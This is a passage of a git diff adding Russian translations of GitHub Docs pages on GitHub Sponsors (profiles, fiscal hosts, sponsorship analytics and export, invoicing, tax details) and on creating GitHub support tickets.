@@ +--- +title: Отмена публикации профиля GitHub Sponsors +intro: 'Если у вас нет спонсоров, вы можете отменить публикацию своего профиля {% data variables.product.prodname_sponsors %}.' +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Open Source + - Sponsors payments +shortTitle: Unpublish your profile +ms.openlocfilehash: 710b42b9a9474da0d62ad8e3c9022cd2b9cc422e +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145140198' +--- +Если у вас есть спонсоры, вам потребуется обратиться в службу поддержки GitHub, чтобы отменить публикацию своей учетной записи {% data variables.product.prodname_sponsors %}. + +После отмены публикации учетной записи {% data variables.product.prodname_sponsors %}: +- Вы больше не будете получать спонсорские платежи. +- Вы можете запросить повторную публикацию профиля. + +{% data reusables.sponsors.navigate-to-sponsors-dashboard %} {% data reusables.sponsors.settings-tab %} +3. В разделе "Отменить публикацию профиля GitHub Sponsors" щелкните **Отменить публикацию профиля**. + ![Кнопка "Отменить публикацию профиля"](/assets/images/help/sponsors/unpublish-profile-button.png) +4. Чтобы подтвердить, щелкните "Отменить публикацию учетной записи GitHub Sponsors". + ![Кнопка "Отменить публикацию профиля GitHub Sponsors"](/assets/images/help/sponsors/unpublish-profile-dialog.png) diff --git a/translations/ru-RU/content/sponsors/receiving-sponsorships-through-github-sponsors/using-a-fiscal-host-to-receive-github-sponsors-payouts.md b/translations/ru-RU/content/sponsors/receiving-sponsorships-through-github-sponsors/using-a-fiscal-host-to-receive-github-sponsors-payouts.md new file mode 100644 index 000000000000..dcaccd425cbd --- /dev/null +++ b/translations/ru-RU/content/sponsors/receiving-sponsorships-through-github-sponsors/using-a-fiscal-host-to-receive-github-sponsors-payouts.md @@ -0,0 +1,43 @@ +--- +title: Использование финансового узла для получения выплат спонсоров GitHub +intro: 'Вы можете стать спонсором разработчика, присоединившись к {% data variables.product.prodname_sponsors %} и выбрав финансовый узел для выплат.' +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - User account + - Sponsors profile +shortTitle: Using a fiscal host +ms.openlocfilehash: 8e26f07d8decf6819824bbcb7885d6e09ace5bdb +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148108818' +--- +## Сведения об использовании финансового узла для получения выплат {% data variables.product.prodname_sponsors %} + +При регистрации профиля {% data variables.product.prodname_sponsors %} для получения спонсорской поддержки вы можете выбрать, следует ли получать платежи в учетной записи Stripe Connect, которую вы контролируете, или через финансовый узел, с которым вы уже работаете. + +{% data reusables.sponsors.bank-info-fiscal-host-reminder %} + +{% data variables.product.prodname_sponsors %} поддерживает следующие финансовые узлы: + +- [Коллектив по открытому коду](https://oscollective.org/) +- [NumFOCUS](http://www.numfocus.org/) +- [Открытая коллективная Европа](https://opencollective.com/europe) +- [Программное обеспечение под землей](https://softwareunderground.org/) +- [Защита свободы программного обеспечения](https://sfconservancy.org/) + +## Выбор использования финансового узла + +После перехода на страницу настройки профиля "Присоединиться к списку ожидания" для учетной записи, которую вы хотите спонсировать, вы увидите раздел "Как вы получаете выплаты" или "Банковский счет организации" в зависимости от типа настраиваемой учетной записи. Дополнительные сведения о том, как зарегистрироваться в профиле {% data variables.product.prodname_sponsors %}, см. в разделе [Настройка {% data variables.product.prodname_sponsors %} для личной учетной записи](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-personal-account) или [Настройка {% data variables.product.prodname_sponsors %} для вашей организации](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization). + +1. В разделе "Способ получения выплат" или "Банковский счет организации" выберите **вариант Использовать финансовый узел** или **Эта организация использует финансовый узел** . + + ![Снимок экрана: выбор между банковским счетом и финансовым узлом](/assets/images/help/sponsors/user-waitlist-payout-options.png) +2. Используйте раскрывающийся список **Выбор финансового узла** , чтобы выбрать финансовый узел, который вы хотите использовать. +3. В текстовом поле в разделе "URL-адрес профиля проекта финансового узла" введите URL-адрес страницы профиля на сайте финансового узла. Это поможет нам убедиться, что вы действительно зарегистрированы в финансовом узле. + + ![Снимок экрана: текстовое поле для URL-адреса профиля проекта финансового узла](/assets/images/help/sponsors/fiscal-host-project-profile-field.png) diff --git a/translations/ru-RU/content/sponsors/receiving-sponsorships-through-github-sponsors/viewing-your-sponsors-and-sponsorships.md b/translations/ru-RU/content/sponsors/receiving-sponsorships-through-github-sponsors/viewing-your-sponsors-and-sponsorships.md new file mode 100644 index 000000000000..6785c2d33b13 --- /dev/null +++ b/translations/ru-RU/content/sponsors/receiving-sponsorships-through-github-sponsors/viewing-your-sponsors-and-sponsorships.md @@ -0,0 +1,68 @@ +--- +title: Просмотр спонсоров и спонсорской поддержки +intro: Вы можете просматривать и экспортировать подробные сведения и аналитические сведения о спонсорах и спонсорских предложениях. +redirect_from: + - /articles/viewing-your-sponsors-and-sponsorships + - /github/supporting-the-open-source-community-with-github-sponsors/viewing-your-sponsors-and-sponsorships +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Open Source + - Analytics +shortTitle: View sponsors & sponsorships +ms.openlocfilehash: 33c45171d28b77c302a04f734342b05beb04be1e +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145140193' +--- +## Сведения о спонсорах и спонсорской поддержке + +Вы можете просмотреть аналитику по текущей и прошлой спонсорской поддержкой, платежам, полученным от спонсоров, и событиям, таким как отмена и изменение уровня спонсора для вашей спонсорской поддержки. Вы также можете просматривать такие действия, как новая спонсорская поддержка, изменения спонсорской поддержки и отмененная спонсорская поддержка. Список действий можно отфильтровать по дате. Вы также можете экспортировать данные о спонсорской поддержке для учетной записи, которую вы просматриваете в формате CSV или JSON. + +## Сведения о метаданных транзакции + +Чтобы отслеживать, откуда поступает спонсорская поддержка, можно использовать настраиваемые URL-адреса с метаданными для вашего профиля {% data variables.product.prodname_sponsors %} или для страницы оформления заказа. Метаданные будут включены в экспорт транзакции в столбце метаданных. Дополнительные сведения об экспорте данных транзакций см. в разделе [Экспорт данных спонсорской поддержки](#exporting-your-sponsorship-data). + +Метаданные должны использовать формат `key=value` и могут быть добавлены в конец этих URL-адресов. + +- Профиль спонсируемой учетной записи: `https://github.com/sponsors/{account}` +- Проверка спонсорской поддержки: `https://github.com/sponsors/{account}/sponsorships` + +Метаданные будут сохраняться в URL-адресе, когда потенциальный спонсор переключает учетные записи для спонсорской поддержки, выбирает ежемесячные или одноразовые платежи и выбирает другой уровень. + +### Требования к синтаксису + +Метаданные должны соответствовать следующим требованиям, которые не применяются к другим передаваемым параметрам URL-адреса. + +- Ключи должны быть предварительно зафиксированы `metadata_`, такими как `metadata_campaign`. В экспорте транзакции префикс `metadata_` будет удален из ключа. +- Ключи и значения должны содержать только буквенно-цифровые значения, дефисы или символы подчеркивания. Если непринятые символы передаются в ключах или значениях, возникает ошибка 404. +- Пробелы недопустимы. +- Для каждого запроса принимается не более **10** пар "ключ-значение". Если передается больше пар, сохраняются только первые 10 из них. +- Каждый ключ может содержать не более **25** символов. Если передается больше символов, сохраняются только первые 25 из них. +- Каждое значение может содержать не более **100** символов. Если передается больше символов, сохраняются только первые 100 из них. + +Например, можно использовать `https://github.com/sponsors/{account}?metadata_campaign=myblog` для отслеживания спонсорских предложений, поступающей из вашего блога. `metadata_campaign` является ключом, а `myblog` — значением. В столбце метаданных экспорта транзакции ключ будет указан как `campaign`. + +## Просмотр спонсоров и спонсорской поддержки + +{% data reusables.sponsors.navigate-to-sponsors-dashboard %} +1. При необходимости, чтобы отфильтровать спонсоров по уровням, используйте раскрывающееся меню **Фильтр**, выберите **Активные уровни** или **Устаревшие уровни** и выберите уровень. + ![Раскрывающееся меню для фильтрации по уровням](/assets/images/help/sponsors/filter-drop-down.png) + +## Просмотр недавних действий в рамках спонсорской поддержки + +{% data reusables.sponsors.navigate-to-sponsors-dashboard %} {% data reusables.sponsors.your-sponsors-tab %} + +## Экспорт данных о спонсорской поддержке + +Вы можете экспортировать транзакции в рамках спонсорской поддержки по месяцам. {% data variables.product.company_short %} отправит вам сообщение электронной почте, которое содержит данные о транзакциях для всех спонсоров за выбранный месяц. После завершения экспорта можно экспортировать данные еще за один месяц. Вы можете экспортировать до 10 наборов данных в час для любой из спонсируемых учетных записей. + +{% data reusables.sponsors.navigate-to-sponsors-dashboard %} {% data reusables.sponsors.your-sponsors-tab %} +1. В правом верхнем углу экрана щелкните {% octicon "download" aria-label="The download icon" %} **Экспорт**. + ![Кнопка экспорта](/assets/images/help/sponsors/export-all.png) +1. Выберите интервал времени и формат данных, которые требуется экспортировать, а затем нажмите кнопку **Начать экспорт**. + ![Параметры экспорта данных](/assets/images/help/sponsors/export-your-sponsors.png) diff --git a/translations/ru-RU/content/sponsors/sponsoring-open-source-contributors/attributing-sponsorships-to-your-organization.md b/translations/ru-RU/content/sponsors/sponsoring-open-source-contributors/attributing-sponsorships-to-your-organization.md new file mode 100644 index 000000000000..11933c376c38 --- /dev/null +++ b/translations/ru-RU/content/sponsors/sponsoring-open-source-contributors/attributing-sponsorships-to-your-organization.md @@ -0,0 +1,31 @@ +--- +title: Привлечение спонсорской поддержки для вашей организации +intro: 'Спонсорские предложения, оплачиваемые одной из ваших организаций, можно отнести к другой организации.' +redirect_from: + - /github/supporting-the-open-source-community-with-github-sponsors/attributing-sponsorships-to-your-organization +versions: + fpt: '*' + ghec: '*' +permissions: People who are organization owners of both organizations can attribute one organization's sponsorships to another organization. +type: how_to +topics: + - Open Source + - Organizations + - Sponsors profile +shortTitle: Attribute sponsorships +ms.openlocfilehash: a0b07535ef655f647a5c6bb65de39dcf11c1e6a3 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147884497' +--- +1. Перейдите в организацию, спонсорскую поддержку которой вы хотите добавить в другую организацию. +2. Под именем своей организации щелкните {% octicon "heart" aria-label="The heart icon" %} **Спонсорская поддержка**. + ![Вкладка "Спонсорская поддержка"](/assets/images/help/sponsors/sponsoring-tab.png) +1. В правом верхнем углу щелкните {% octicon "gear" aria-label="The gear icon" %} **Параметры**. + ![Кнопка "Параметры"](/assets/images/help/sponsors/sponsoring-settings-button.png) +1. В разделе "Связать спонсорскую поддержку с другой учетной записью" используйте раскрывающееся меню, а затем выберите организацию, к которой вы хотите добавить спонсорскую поддержку этой организации. + ![Раскрывающееся меню для выбора учетной записи](/assets/images/help/sponsors/select-an-account-drop-down.png) +1. Щелкните **Связать учетную запись**. + ![Кнопка "Связать учетную запись"](/assets/images/help/sponsors/link-account-button.png) diff --git a/translations/ru-RU/content/sponsors/sponsoring-open-source-contributors/index.md b/translations/ru-RU/content/sponsors/sponsoring-open-source-contributors/index.md new file mode 100644 index 000000000000..62b312b03f8e --- /dev/null +++ b/translations/ru-RU/content/sponsors/sponsoring-open-source-contributors/index.md @@ -0,0 +1,24 @@ +--- +title: Спонсорская поддержка участников разработки открытого кода +intro: 'Вы можете спонсировать участников, получать обновления для разработчиков и организаций, которые вы спонсируете, и отображать эмблему спонсора в пределах {% data variables.product.product_name %}.' +redirect_from: + - /articles/sponsoring-open-source-developers + - /github/supporting-the-open-source-community-with-github-sponsors/sponsoring-open-source-developers + - /github/supporting-the-open-source-community-with-github-sponsors/sponsoring-open-source-contributors +versions: + fpt: '*' + ghec: '*' +children: + - /sponsoring-an-open-source-contributor + - /managing-your-sponsorship + - /attributing-sponsorships-to-your-organization + - /paying-for-github-sponsors-by-invoice +shortTitle: Sponsor contributors +ms.openlocfilehash: d395c72299f3727aa22ac3221e6f1100e867a8a1 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145140182' +--- + diff --git a/translations/ru-RU/content/sponsors/sponsoring-open-source-contributors/managing-your-sponsorship.md b/translations/ru-RU/content/sponsors/sponsoring-open-source-contributors/managing-your-sponsorship.md new file mode 100644 index 000000000000..de566f7a3c80 --- /dev/null +++ b/translations/ru-RU/content/sponsors/sponsoring-open-source-contributors/managing-your-sponsorship.md @@ -0,0 +1,39 @@ +--- +title: Управление спонсорской поддержки +intro: 'Вы можете определять, кто может просматривать спонсорское предложение и получать обновления по электронной почте от спонсируемой учетной записи.' +redirect_from: + - /articles/managing-your-sponsorship + - /github/supporting-the-open-source-community-with-github-sponsors/managing-your-sponsorship +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Contacting sponsors + - Privacy + - Open Source +ms.openlocfilehash: 24f2e13d2ab55abb7c43aa52ddf641b45772d76f +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '147878989' +--- +{% data reusables.sponsors.org-sponsors-release-phase %} + +## Управление параметрами конфиденциальности для спонсорской поддержки + +{% data reusables.sponsors.navigate-to-sponsored-account %} {% data reusables.sponsors.sponsorship-dashboard %} {% data reusables.sponsors.manage-sponsorship %} {% data reusables.sponsors.who-can-see-your-sponsorship %} {% data reusables.sponsors.update-sponsorship %} + +## Управление обновлениями электронной почты для спонсорской поддержки + +Вы можете указать, сможет ли учетная запись, которую вы спонсируете, отправлять вам новости о своей работе по электронной почте. Учетная запись со спонсорской поддержкой не будет иметь доступа к вашему адресу электронной почты. + +{% data reusables.sponsors.manage-updates-for-orgs %} + +{% data reusables.sponsors.navigate-to-sponsored-account %} {% data reusables.sponsors.sponsorship-dashboard %} {% data reusables.sponsors.manage-sponsorship %} {% data reusables.sponsors.choose-updates %} {% data reusables.sponsors.update-sponsorship %} + +## Дополнительные материалы + +- [Повышение уровня спонсорской поддержки](/articles/upgrading-a-sponsorship) +- [Понижение уровня спонсорской поддержки](/articles/downgrading-a-sponsorship) diff --git a/translations/ru-RU/content/sponsors/sponsoring-open-source-contributors/paying-for-github-sponsors-by-invoice.md b/translations/ru-RU/content/sponsors/sponsoring-open-source-contributors/paying-for-github-sponsors-by-invoice.md new file mode 100644 index 000000000000..d852b8809726 --- /dev/null +++ b/translations/ru-RU/content/sponsors/sponsoring-open-source-contributors/paying-for-github-sponsors-by-invoice.md @@ -0,0 +1,26 @@ +--- +title: Оплата за GitHub Sponsors по счету +shortTitle: Paying by invoice +intro: 'Если ваша компания платит {% data variables.product.company_short %} по выставленному счету, вы можете присоединиться к службе Sponsors for Companies.' +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Sponsors + - Open Source +redirect_from: + - /sponsors/sponsoring-open-source-contributors/paying-for-github-sponsors-via-invoice +ms.openlocfilehash: d2040d1a06c2d1610b79dfd43ce362939554d822 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145140166' +--- +{% data reusables.sponsors.beta-note-sponsors-for-companies %} + +Компании могут использовать оплату по счету для участия в программе {% data variables.product.prodname_sponsors %}. Это может быть особенно удобно, если у вашей компании есть существующее отношение для оплаты по выставленному счету с {% data variables.product.company_short %}. Компании, совершающие оплаты по счету, получают доступ к панели мониторинга {% data variables.product.product_name %}, которая измеряет вклады в открытый код и действия в общедоступных проектах в интересующих их {% data variables.product.prodname_dotcom_the_website %}. + +Вы можете присоединиться к этой бета-версии программы, обратившись к своему представителю по продажам или [связавшись с нами](https://support.github.com/contact/org-sponsors-waitlist). + diff --git a/translations/ru-RU/content/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor.md b/translations/ru-RU/content/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor.md new file mode 100644 index 000000000000..86b6dc3dd053 --- /dev/null +++ b/translations/ru-RU/content/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor.md @@ -0,0 +1,83 @@ +--- +title: Спонсорская поддержка участников разработки открытого кода +intro: 'Вы можете осуществлять ежемесячный платеж разработчику или организации, которые разрабатывают, создают или обслуживают важные для вас проекты с открытым кодом.' +redirect_from: + - /articles/sponsoring-a-developer + - /articles/sponsoring-an-open-source-contributor + - /github/supporting-the-open-source-community-with-github-sponsors/sponsoring-a-developer + - /github/supporting-the-open-source-community-with-github-sponsors/sponsoring-an-open-source-contributor +versions: + fpt: '*' + ghec: '*' +permissions: Anyone can sponsor accounts on behalf of their own personal account. Organization owners and billing managers can sponsor accounts on behalf of their organization. +type: how_to +topics: + - Open Source + - Sponsors payments +shortTitle: Sponsor a contributor +ms.openlocfilehash: d006324c270d29b9ce87189751e75722da13a6ea +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: '147710294' +--- +{% data reusables.sponsors.org-sponsors-release-phase %} + +## О спонсорской поддержке + +{% data reusables.sponsors.sponsorship-details %} + +Можно спонсировать учетную запись от имени личной учетной записи, чтобы инвестировать в проекты, которые выгодны лично вам. Кроме того, по ряду причин вы можете спонсировать учетную запись от имени вашей организации. +- Поддержание конкретных библиотек, от которых зависит работа вашей организации +- Инвестиции в экосистему, от которых зависит ваша организация (например, блокчейн) +- Развитие репутации торговой марки в качестве организации, которая предпочитает решения с открытым кодом +- Благодарим разработчиков решения с открытым кодом за создание библиотек, которые дополняют продукт, предлагаемый вашей организации + +Кредитная карта позволяет спонсировать учетную запись в {% data variables.product.product_name %}. Если ваша организация хочет платить по выставленным счетам, вы можете ознакомиться с дополнительными сведениями в разделе [Оплата за {% data variables.product.prodname_sponsors %} по счету](/sponsors/sponsoring-open-source-contributors/paying-for-github-sponsors-via-invoice). + +{% data reusables.sponsors.no-fees %} Дополнительные сведения см. в разделе [О выставлении счетов за {% data variables.product.prodname_sponsors %}](/articles/about-billing-for-github-sponsors). + +Когда вы спонсируете учетную запись с помощью кредитной карты, изменения вступают в силу немедленно. {% data reusables.sponsors.prorated-sponsorship %} + +Мы можем поделиться определенными ограниченными налоговыми сведениями со спонсируемыми учетными записями. Дополнительную информацию см. в разделе [Налоговые сведения](#tax-information). + +{% data reusables.sponsors.manage-updates-for-orgs %} + +Вы можете выбрать, следует ли отображать сведения о вашей спонсорской поддержке публично. Одноразовые спонсорские предложения будут видимыми в течение одного месяца. + +Если спонсируемая учетная запись прекращает использование вашего уровня, уровень будет действовать, пока вы не выберете другой уровень или не отмените подписку. Дополнительные сведения см. в разделе [Обновление спонсорского предложения](/articles/upgrading-a-sponsorship) и [Понижение уровня спонсорской поддержки](/articles/downgrading-a-sponsorship). + +Если у учетной записи, которую вы хотите спонсировать, нет профиля на {% data variables.product.prodname_sponsors %}, вы можете пригласить учетную запись для присоединения. Дополнительные сведения см. в разделах [Настройка {% data variables.product.prodname_sponsors %} для личной учетной записи](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-personal-account) и [Настройка {% data variables.product.prodname_sponsors %} для организации](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization). + +{% data reusables.sponsors.sponsorships-not-tax-deductible %} + +{% note %} + +**Примечание.** {% data variables.product.prodname_dotcom %} не несет ответственности за то, как разработчики представляют себя, и {% data variables.product.prodname_dotcom %} одобряют любые спонсируемые проекты с открытым кодом. За работу с претензиями несет ответственность исключительно разработчик, который получает средства. Убедитесь, что вы доверяете человеку, прежде чем предлагать ему спонсорскую поддержку. Дополнительные сведения см. в разделе [Дополнительные условия {% data variables.product.prodname_sponsors %}](/free-pro-team@latest/github/site-policy/github-sponsors-additional-terms). + +{% endnote %} + +## Налоговые сведения + +Как спонсор вы признаете, что мы можем раскрыть владельцу каждой учетной записи, которую вы спонсируете, следующую ограниченную информацию о ваших спонсорских платежах учетной записи с момента создания программы спонсоров: + +- Дата транзакции +- Выплаченная сумма +- Страна, штат (область) и провинция, из которой была произведена оплата +- Был ли платеж выполнен бизнесом или отдельным лицом + +Эта информация необходима для включения платежей и отчетности о любых налогах, возникающих в результате таких спонсорских платежей. + +## Спонсорская поддержка учетной записи + +Прежде чем вы сможете спонсировать учетную запись, у вас должен быть проверенный адрес электронной почты. Дополнительные сведения см. в статье "[Проверка адреса электронной почты](/github/getting-started-with-github/verifying-your-email-address)". + +1. В {% data variables.product.product_name %} перейдите к профилю пользователя или организации, которым вы планируете предоставлять спонсорскую поддержку. +1. Перейдите на панель мониторинга спонсорской поддержки для учетной записи. + - Чтобы спонсировать разработчика, под именем разработчика нажмите кнопку **Спонсор**. + ![Кнопка "Спонсор"](/assets/images/help/profile/sponsor-button.png) + - Чтобы спонсировать организацию, справа от имени организации нажмите кнопку **Спонсор**. + ![Кнопка "Спонсор"](/assets/images/help/sponsors/sponsor-org-button.png) +1. При необходимости, чтобы спонсировать учетную запись от имени вашей организации, в правой части страницы используйте меню **Спонсировать как** и щелкните организацию. + ![Раскрывающееся меню для выбора учетных записей, которые вы будете спонсировать как](/assets/images/help/sponsors/sponsor-as-drop-down-menu.png) {% data reusables.sponsors.select-a-tier %} {% data reusables.sponsors.pay-prorated-amount %} {% data reusables.sponsors.select-sponsorship-billing %} ![кнопка "Изменить платеж"](/assets/images/help/sponsors/edit-sponsorship-payment-button.png) {% data reusables.sponsors.who-can-see-your-sponsorship %} ![Переключатель для выбора пользователей, которые могут просматривать вашу спонсорскую поддержку](/assets/images/help/sponsors/who-can-see-sponsorship.png) {% data reusables.sponsors.choose-updates %} {% data reusables.sponsors.sponsor-account %} diff --git a/translations/ru-RU/content/support/contacting-github-support/creating-a-support-ticket.md b/translations/ru-RU/content/support/contacting-github-support/creating-a-support-ticket.md new file mode 100644 index 000000000000..88c51edc9aea --- /dev/null +++ b/translations/ru-RU/content/support/contacting-github-support/creating-a-support-ticket.md @@ -0,0 +1,113 @@ +--- +title: Создание запроса в службу поддержки +intro: 'Вы можете использовать {% ifversion ghae %}{% data variables.contact.ae_azure_portal %}{% else %}{% data variables.contact.support_portal %}{% endif %}, чтобы создать обращение в службу поддержки и обратиться к {% data variables.contact.github_support %}.' +shortTitle: Creating a ticket +versions: + fpt: '*' + ghec: '*' + ghes: '*' + ghae: '*' +redirect_from: + - /enterprise/admin/enterprise-support/preparing-to-submit-a-ticket + - /admin/enterprise-support/preparing-to-submit-a-ticket + - /admin/enterprise-support/receiving-help-from-github-support/preparing-to-submit-a-ticket + - /enterprise/admin/guides/enterprise-support/reaching-github-enterprise-support + - /enterprise/admin/enterprise-support/reaching-github-support + - /admin/enterprise-support/reaching-github-support + - /admin/enterprise-support/receiving-help-from-github-support/reaching-github-support + - /enterprise/admin/enterprise-support/submitting-a-ticket + - /admin/enterprise-support/submitting-a-ticket + - /admin/enterprise-support/receiving-help-from-github-support/submitting-a-ticket + - /articles/submitting-a-ticket + - /github/working-with-github-support/submitting-a-ticket +topics: + - Support +ms.openlocfilehash: 4be0e3be4154354bbc8ea592c9c13af4c0e217b4 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145140137' +--- +{% ifversion fpt or ghec or ghes %} + +## Сведения о запросах в службу поддержки + +{% data reusables.support.zendesk-old-tickets %} + +{% ifversion fpt %} {% data reusables.support.free-and-paid-support %} {% endif %} + +{% ifversion ghes or ghec %} {% data reusables.enterprise-accounts.support-entitlements %} {% endif %} + +{% ifversion ghes %} Вы можете создать запрос в службу поддержки с помощью {% data variables.contact.support_portal %} или использовать консоль управления сервером GitHub Enterprise, если вместе с запросом в службу поддержки вы хотите включить диагностику. +{% endif %} + +После создания запроса вы можете просмотреть его, а также ответы из {% data variables.contact.github_support %} в {% data variables.contact.contact_landing_page_portal %}. Дополнительные сведения см. в статье [Просмотр и обновление запросов в службу поддержки](/support/contacting-github-support/viewing-and-updating-support-tickets). + +## Что следует включить в запрос в службу поддержки + +Предоставление {% data variables.contact.github_support %} со всем необходимым для распознавания, обнаружения и воспроизведения проблемы позволит быстрее устранить проблему и уменьшить количество колебаний между вами и группой технической поддержки. Чтобы гарантировать, что {% data variables.contact.github_support %} сможет вам помочь, при написании запроса в службу поддержки учитывайте следующее: + +- Получите сведения, которые могут помочь {% data variables.contact.github_support %} отслеживать, назначать приоритеты, воспроизводить или исследовать проблему. +- По возможности включите полные URL-адреса, имена репозиториев и имена пользователей. +- Воспроизведите проблему (если это применимо) и будьте готовы предоставить общий доступ к шагам. +- Будьте готовы предоставить полное описание проблемы и ожидаемые результаты. +- Скопируйте точные формулировки всех сообщений об ошибках, связанных с вашей проблемой. +- Определите, существует ли в текущей переписке с {% data variables.contact.github_support %} номер запроса. +- Включите соответствующие журналы и вложите все снимки экрана, демонстрирующие проблему. + +{% ifversion ghes %} +## Выбор контактного лица + +В особенности для запросов с приоритетом {% data variables.product.support_ticket_priority_urgent %} пользователю, который обращается к {% data variables.contact.github_support %}, следует: + + - Быть осведомленным касательно внутренних систем, средств, политик и практик. + - Быть опытным пользователем данных {% data variables.product.product_name %}. + - Обладать полным доступом и разрешениями для всех служб, необходимых для устранения этой проблемы. + - Быть авторизованным, чтобы вносить рекомендуемые изменения в сеть и все применимые продукты. + +{% endif %} + +## Создание запроса в службу поддержки{% ifversion ghes %} с помощью портала поддержки{% endif %} + +1. Перейдите к {% data variables.contact.contact_support_portal %}. +{% data reusables.support.submit-a-ticket %} + +{% ifversion ghes %} + +## Создание запроса в службу поддержки с помощью консоли управления сервером GitHub Enterprise + +{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.type-management-console-password %} {% data reusables.enterprise_management_console.support-link %} +1. Если вместе с запросом в службу поддержки вы хотите включить диагностику, в разделе "Диагностика" нажмите кнопку **Скачать сведения о диагностике** и сохраните файл локально. Позже вы вложите этот файл в запрос в службу поддержки. + ![Снимок экрана, на котором изображена кнопка "Скачать сведения о диагностике" на странице поддержки консоли управления.](/assets/images/enterprise/support/download-diagnostics-info-button.png) +1. Чтобы завершить запрос и отобразить {% data variables.contact.enterprise_portal %}, в разделе "Открытие запроса на поддержку" нажмите кнопку **Создать запрос на поддержку**. + ![Снимок экрана, на котором изображена кнопка "Создать запрос на поддержку" на странице поддержки консоли управления.](/assets/images/enterprise/management-console/open-support-request.png) +{% data reusables.support.submit-a-ticket %} + +{% endif %} + +{% elsif ghae %} + +Вы можете отправить запрос в службу поддержки с {% data variables.product.prodname_ghe_managed %} из {% data variables.contact.ae_azure_portal %}. + +## Предварительные требования + +Чтобы отправить запрос для {% data variables.product.prodname_ghe_managed %} в {% data variables.contact.ae_azure_portal %}, необходимо указать идентификатор подписки {% data variables.product.prodname_ghe_managed %} в Azure для менеджера по обеспечению успеха клиента (CSAM) в корпорации Майкрософт. + +## Отправка запроса в службу поддержки с помощью {% data variables.contact.ae_azure_portal %} + +Коммерческие клиенты могут отправить запрос на поддержку в {% data variables.contact.contact_ae_portal %}. Государственные клиенты должны использовать [портал Azure для государственных клиентов](https://portal.azure.us/#blade/Microsoft_Azure_Support/HelpAndSupportBlade). Дополнительные сведения см. в статье о [создании запроса на поддержку Azure](https://docs.microsoft.com/azure/azure-portal/supportability/how-to-create-azure-support-request) в документации Майкрософт. + +## Устранение неполадок в {% data variables.contact.ae_azure_portal %} + +{% data variables.product.company_short %} не удается устранить проблемы с доступом и подпиской на портале Azure. Для получения справки по порталу Azure обратитесь к своему CSAM в корпорации Майкрософт или ознакомьтесь со следующими сведениями. + +- Если вам не удается войти на портал Azure, см. статью об [устранении неполадок при входе в подписку Azure](https://docs.microsoft.com/en-US/azure/cost-management-billing/manage/troubleshoot-sign-in-issue) в документации Майкрософт или [отправьте запрос напрямую](https://support.microsoft.com/en-us/supportrequestform/84faec50-2cbc-9b8a-6dc1-9dc40bf69178). + +- Если вы можете войти на портал Azure, но вам не удается отправить запрос для {% data variables.product.prodname_ghe_managed %}, ознакомьтесь с предварительными требованиями для отправки запроса. Дополнительные сведения см. в разделе [Предварительные требования](#prerequisites). + +{% endif %} + +## Дополнительные материалы + +- [Сведения о поддержке GitHub](/support/learning-about-github-support/about-github-support) diff --git a/translations/ru-RU/content/support/contacting-github-support/index.md b/translations/ru-RU/content/support/contacting-github-support/index.md new file mode 100644 index 000000000000..4b349a726420 --- /dev/null +++ b/translations/ru-RU/content/support/contacting-github-support/index.md @@ -0,0 +1,25 @@ +--- +title: Обращение в службу поддержки GitHub +shortTitle: Contacting support +intro: 'Вы можете использовать {% ifversion ghae %}{% data variables.contact.ae_azure_portal %}{% else %}{% data variables.contact.support_portal %}{% endif %} для обращения в службу поддержки GitHub в целях устранения неполадок, возникающих при использовании GitHub.' +versions: + fpt: '*' + ghec: '*' + ghes: '*' + ghae: '*' +redirect_from: + - /enterprise/admin/guides/enterprise-support/receiving-help-from-github-enterprise-support + - /enterprise/admin/enterprise-support/receiving-help-from-github-support + - /admin/enterprise-support/receiving-help-from-github-support +children: + - creating-a-support-ticket + - viewing-and-updating-support-tickets + - providing-data-to-github-support +ms.openlocfilehash: d3017f78749d9df022dd71e0c99f6274785d9885 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145140129' +--- + diff --git a/translations/ru-RU/content/support/contacting-github-support/providing-data-to-github-support.md 